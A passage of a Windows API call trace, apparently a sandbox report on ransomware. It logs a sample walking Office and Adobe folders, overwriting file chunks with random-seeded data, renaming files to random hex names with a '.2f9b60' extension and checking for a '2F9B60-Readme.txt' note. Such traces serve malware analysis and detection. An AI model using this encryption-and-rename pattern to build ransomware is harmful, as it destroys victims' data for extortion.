ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0135.235] FindClose (in: hFindFile=0x1b8592d0 | out: hFindFile=0x1b8592d0) returned 1 [0135.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce593b0) returned 1 [0135.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0135.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae240) returned 1 Thread: id = 1944 os_tid = 0x1128 [0135.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml")) returned 0x20 [0135.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml", dwFileAttributes=0x20) returned 1 [0135.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ce0 [0135.795] GetFileSizeEx (in: hFile=0x1ce0, lpFileSize=0x2f3dfd00 | out: lpFileSize=0x2f3dfd00*=97837) returned 1 [0135.795] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x17e29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.795] ReadFile (in: hFile=0x1ce0, lpBuffer=0x2f3dfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f3dfcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f3dfc80*, lpNumberOfBytesRead=0x2f3dfcc8*=0x4, lpOverlapped=0x0) returned 1 [0135.930] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0135.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d50 [0135.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0135.931] NtQuerySystemTime (in: CurrentTime=0x2f3dfbc0 | out: CurrentTime=0x2f3dfbc0*=132462177411718000) returned 0x0 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x125b0a32 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x8f25b9e [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x76d49b72 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x18dc6782 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x34285ac [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x86c1e31 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x46021a3a [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x3c25e3ac [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x16cd5f7b [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x64108fa5 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x9f8204d [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x28d63a15 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x7105825c [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x6074abae [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x4dcd6fd9 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x7c1c53dc [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x633cb60b [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x7a95badc [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x46c40db3 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x5c4b6efe [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x3eabe2f0 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x1518a756 [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x650b6acc [0135.931] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x66c9919d [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x635fdc1d [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x3c8a8117 [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x307f74f [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x2525db4 [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x6926db61 [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x32349f75 [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x66b73f54 [0135.932] RtlRandomEx (in: Seed=0x2f3dfbb0 | out: Seed=0x2f3dfbb0) returned 0x665b951a [0135.942] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.942] ReadFile (in: hFile=0x1ce0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f3dfc20, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x2f3dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0136.133] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0136.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee90) returned 1 [0136.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203c25a0 [0136.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0136.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0136.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0136.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.135] WriteFile (hFile=0x1ce0, lpBuffer=0x203c25a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f3dfc20, lpOverlapped=0x0) [0178.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203c25a0) returned 1 [0178.614] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.614] ReadFile (in: hFile=0x1ce0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f3dfc20, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x2f3dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0180.510] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0180.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92f0) returned 1 [0180.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4292cae0 [0180.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0180.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0180.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9470) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.514] WriteFile (in: hFile=0x1ce0, lpBuffer=0x4292cae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f3dfc20, lpOverlapped=0x0 | out: lpBuffer=0x4292cae0*, lpNumberOfBytesWritten=0x2f3dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4292cae0) returned 1 [0198.022] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x1422d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.023] ReadFile (in: hFile=0x1ce0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f3dfc20, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x2f3dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.444] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x1422d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135980 [0198.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135980) returned 1 [0198.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42004990 [0198.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135980 [0198.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359b0 [0198.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431359b0) returned 1 [0198.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.448] WriteFile (in: hFile=0x1ce0, lpBuffer=0x42004990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f3dfc20, lpOverlapped=0x0 | out: lpBuffer=0x42004990*, lpNumberOfBytesWritten=0x2f3dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0213.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42004990) returned 1 [0213.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f670 [0213.813] SetFilePointerEx (in: hFile=0x1ce0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.813] WriteFile (in: hFile=0x1ce0, lpBuffer=0x19eea0*, nNumberOfBytesToWrite=0x174, lpNumberOfBytesWritten=0x2f3dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x19eea0*, lpNumberOfBytesWritten=0x2f3dfcd0*=0x174, lpOverlapped=0x0) returned 1 [0216.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0216.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0216.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5ba70 [0216.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0216.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0216.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0216.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x85) returned 0x431da220 [0216.452] sprintf (in: _Dest=0x431da220, _Format="%c%c" | out: _Dest="c2") returned 2 [0216.452] sprintf (in: _Dest=0x431da222, _Format="%c%c" | out: _Dest="85") returned 2 [0216.452] sprintf (in: _Dest=0x431da224, _Format="%c%c" | out: _Dest="30") returned 2 [0216.452] sprintf (in: _Dest=0x431da226, _Format="%c%c" | out: _Dest="2e") returned 2 [0216.452] sprintf (in: _Dest=0x431da228, _Format="%c%c" | out: _Dest="69") returned 2 [0216.452] sprintf (in: _Dest=0x431da22a, _Format="%c%c" | out: _Dest="f8") returned 2 [0216.452] sprintf (in: _Dest=0x431da22c, _Format="%c%c" | out: _Dest="6f") returned 2 [0216.452] sprintf (in: _Dest=0x431da22e, _Format="%c%c" | out: _Dest="a9") returned 2 [0216.452] sprintf (in: _Dest=0x431da230, _Format="%c%c" | out: _Dest="e5") returned 2 [0216.452] sprintf (in: _Dest=0x431da232, _Format="%c%c" | out: _Dest="31") returned 2 [0216.453] sprintf (in: _Dest=0x431da234, _Format="%c%c" | out: _Dest="0b") returned 2 [0216.453] sprintf (in: _Dest=0x431da236, _Format="%c%c" | out: _Dest="7a") returned 2 [0216.453] sprintf (in: _Dest=0x431da238, _Format="%c%c" | out: _Dest="6c") returned 2 [0216.453] sprintf (in: _Dest=0x431da23a, _Format="%c%c" | out: _Dest="98") returned 2 [0216.453] sprintf (in: _Dest=0x431da23c, _Format="%c%c" | out: _Dest="58") returned 2 [0216.453] sprintf (in: _Dest=0x431da23e, _Format="%c%c" | out: _Dest="96") returned 2 [0216.453] sprintf (in: _Dest=0x431da240, _Format="%c%c" | out: _Dest="2e") returned 2 [0216.453] sprintf (in: _Dest=0x431da242, _Format="%c%c" | out: _Dest="84") returned 2 [0216.453] sprintf (in: _Dest=0x431da244, _Format="%c%c" | out: _Dest="ea") returned 2 [0216.453] sprintf (in: _Dest=0x431da246, _Format="%c%c" | out: _Dest="b8") returned 2 [0216.453] sprintf (in: _Dest=0x431da248, _Format="%c%c" | out: _Dest="3d") returned 2 [0216.453] sprintf (in: _Dest=0x431da24a, _Format="%c%c" | out: _Dest="4d") returned 2 [0216.453] sprintf (in: _Dest=0x431da24c, _Format="%c%c" | out: _Dest="d7") returned 2 [0216.453] sprintf (in: _Dest=0x431da24e, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.453] sprintf (in: _Dest=0x431da250, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.453] sprintf (in: _Dest=0x431da252, _Format="%c%c" | out: _Dest="87") returned 2 [0216.453] sprintf (in: _Dest=0x431da254, _Format="%c%c" | out: _Dest="3d") returned 2 [0216.453] sprintf (in: _Dest=0x431da256, _Format="%c%c" | out: _Dest="75") returned 2 [0216.453] sprintf (in: _Dest=0x431da258, _Format="%c%c" | out: _Dest="76") returned 2 [0216.453] sprintf (in: _Dest=0x431da25a, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.454] sprintf (in: _Dest=0x431da25c, _Format="%c%c" | out: _Dest="e7") returned 2 [0216.454] sprintf (in: _Dest=0x431da25e, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.454] sprintf (in: _Dest=0x431da260, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.454] sprintf (in: _Dest=0x431da262, _Format="%c%c" | out: _Dest="32") returned 2 [0216.454] sprintf (in: _Dest=0x431da264, _Format="%c%c" | out: _Dest="c0") returned 2 [0216.454] sprintf (in: _Dest=0x431da266, _Format="%c%c" | out: _Dest="26") returned 2 [0216.454] sprintf (in: _Dest=0x431da268, _Format="%c%c" | out: _Dest="96") returned 2 [0216.454] sprintf (in: _Dest=0x431da26a, _Format="%c%c" | out: _Dest="48") returned 2 [0216.454] sprintf (in: _Dest=0x431da26c, _Format="%c%c" | out: _Dest="ec") returned 2 [0216.454] sprintf (in: _Dest=0x431da26e, _Format="%c%c" | out: _Dest="a3") returned 2 [0216.454] sprintf (in: _Dest=0x431da270, _Format="%c%c" | out: _Dest="2d") returned 2 [0216.454] sprintf (in: _Dest=0x431da272, _Format="%c%c" | out: _Dest="f6") returned 2 [0216.454] sprintf (in: _Dest=0x431da274, _Format="%c%c" | out: _Dest="ec") returned 2 [0216.454] sprintf (in: _Dest=0x431da276, _Format="%c%c" | out: _Dest="52") returned 2 [0216.454] sprintf (in: _Dest=0x431da278, _Format="%c%c" | out: _Dest="33") returned 2 [0216.454] sprintf (in: _Dest=0x431da27a, _Format="%c%c" | out: _Dest="6c") returned 2 [0216.454] sprintf (in: _Dest=0x431da27c, _Format="%c%c" | out: _Dest="d5") returned 2 [0216.454] sprintf (in: _Dest=0x431da27e, _Format="%c%c" | out: _Dest="11") returned 2 [0216.454] sprintf (in: _Dest=0x431da280, _Format="%c%c" | out: _Dest="56") returned 2 [0216.454] sprintf (in: _Dest=0x431da282, _Format="%c%c" | out: _Dest="df") returned 2 [0216.454] sprintf (in: _Dest=0x431da284, _Format="%c%c" | out: _Dest="17") returned 2 [0216.454] sprintf (in: _Dest=0x431da286, _Format="%c%c" | out: _Dest="ab") returned 2 [0216.455] sprintf (in: _Dest=0x431da288, _Format="%c%c" | out: _Dest="b1") returned 2 [0216.455] sprintf (in: _Dest=0x431da28a, _Format="%c%c" | out: _Dest="bc") returned 2 [0216.455] sprintf (in: _Dest=0x431da28c, _Format="%c%c" | out: _Dest="bf") returned 2 [0216.455] sprintf (in: _Dest=0x431da28e, _Format="%c%c" | out: _Dest="be") returned 2 [0216.455] sprintf (in: _Dest=0x431da290, _Format="%c%c" | out: _Dest="73") returned 2 [0216.455] sprintf (in: _Dest=0x431da292, _Format="%c%c" | out: _Dest="d9") returned 2 [0216.455] sprintf (in: _Dest=0x431da294, _Format="%c%c" | out: _Dest="5e") returned 2 [0216.455] sprintf (in: _Dest=0x431da296, _Format="%c%c" | out: _Dest="e0") returned 2 [0216.455] sprintf (in: _Dest=0x431da298, _Format="%c%c" | out: _Dest="25") returned 2 [0216.455] sprintf (in: _Dest=0x431da29a, _Format="%c%c" | out: _Dest="5e") returned 2 [0216.455] sprintf (in: _Dest=0x431da29c, _Format="%c%c" | out: _Dest="86") returned 2 [0216.455] sprintf (in: _Dest=0x431da29e, _Format="%c%c" | out: _Dest="39") returned 2 [0216.455] sprintf (in: _Dest=0x431da2a0, _Format="%c%c" | out: _Dest="26") returned 2 [0216.455] sprintf (in: _Dest=0x431da2a2, _Format="%c%c" | out: _Dest="d3") returned 2 [0216.455] RtlInitAnsiString (in: DestinationString=0x2f3dfd48, SourceString="c285302e69f86fa9e5310b7a6c9858962e84eab83d4dd74ea4873d75769fe79f9f32c0269648eca32df6ec52336cd51156df17abb1bcbfbe73d95ee0255e863926d3" | out: DestinationString="c285302e69f86fa9e5310b7a6c9858962e84eab83d4dd74ea4873d75769fe79f9f32c0269648eca32df6ec52336cd51156df17abb1bcbfbe73d95ee0255e863926d3") [0216.455] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f3dfd18, SourceString="c285302e69f86fa9e5310b7a6c9858962e84eab83d4dd74ea4873d75769fe79f9f32c0269648eca32df6ec52336cd51156df17abb1bcbfbe73d95ee0255e863926d3", AllocateDestinationString=1 | out: DestinationString="c285302e69f86fa9e5310b7a6c9858962e84eab83d4dd74ea4873d75769fe79f9f32c0269648eca32df6ec52336cd51156df17abb1bcbfbe73d95ee0255e863926d3") returned 0x0 [0216.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab2b0 [0216.456] wcscat (in: _Dest=0x431577c0, _Source="c285302e69f86fa9e5310b7a6c9858962" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962" [0216.456] wcscat (in: _Dest=0x431577c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962.2f9b60" [0216.456] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962.2f9b60", NtPathName=0x2f3dfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\c285302e69f86fa9e5310b7a6c9858962.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b798260 [0222.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0222.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b7780) returned 1 [0222.368] NtQueryInformationFile (in: FileHandle=0x1ce0, IoStatusBlock=0x2f3dfd58, FileInformation=0x2f3dfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f3dfd58, FileInformation=0x2f3dfd68) returned 0x0 [0222.368] NtSetInformationFile (FileHandle=0x1ce0, IoStatusBlock=0x2f3dfd58, FileInformation=0x2f3dfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431577c0) returned 1 [0223.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab2b0) returned 1 [0223.392] FlushFileBuffers (hFile=0x1ce0) returned 1 [0224.005] CloseHandle (hObject=0x1ce0) returned 1 [0224.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ada20 [0224.922] wcscpy (in: _Dest=0x202ada20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0224.922] wcscat (in: _Dest=0x202ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0224.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0x20 [0224.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0224.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 Thread: id = 1945 os_tid = 0x1130 [0135.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e8f0 [0135.266] wcscpy (in: _Dest=0x1b79e8f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0135.266] wcscat (in: _Dest=0x1b79e8f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" [0135.266] wcscat (in: _Dest=0x1b79e8f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*" [0135.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce593b0 [0135.266] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8592d0 [0135.270] wcscmp (_String1=".", _String2=".") returned 0 [0135.270] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.270] wcscmp (_String1="..", _String2=".") returned 1 [0135.270] wcscmp (_String1="..", _String2="..") returned 0 [0135.270] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.270] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.270] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 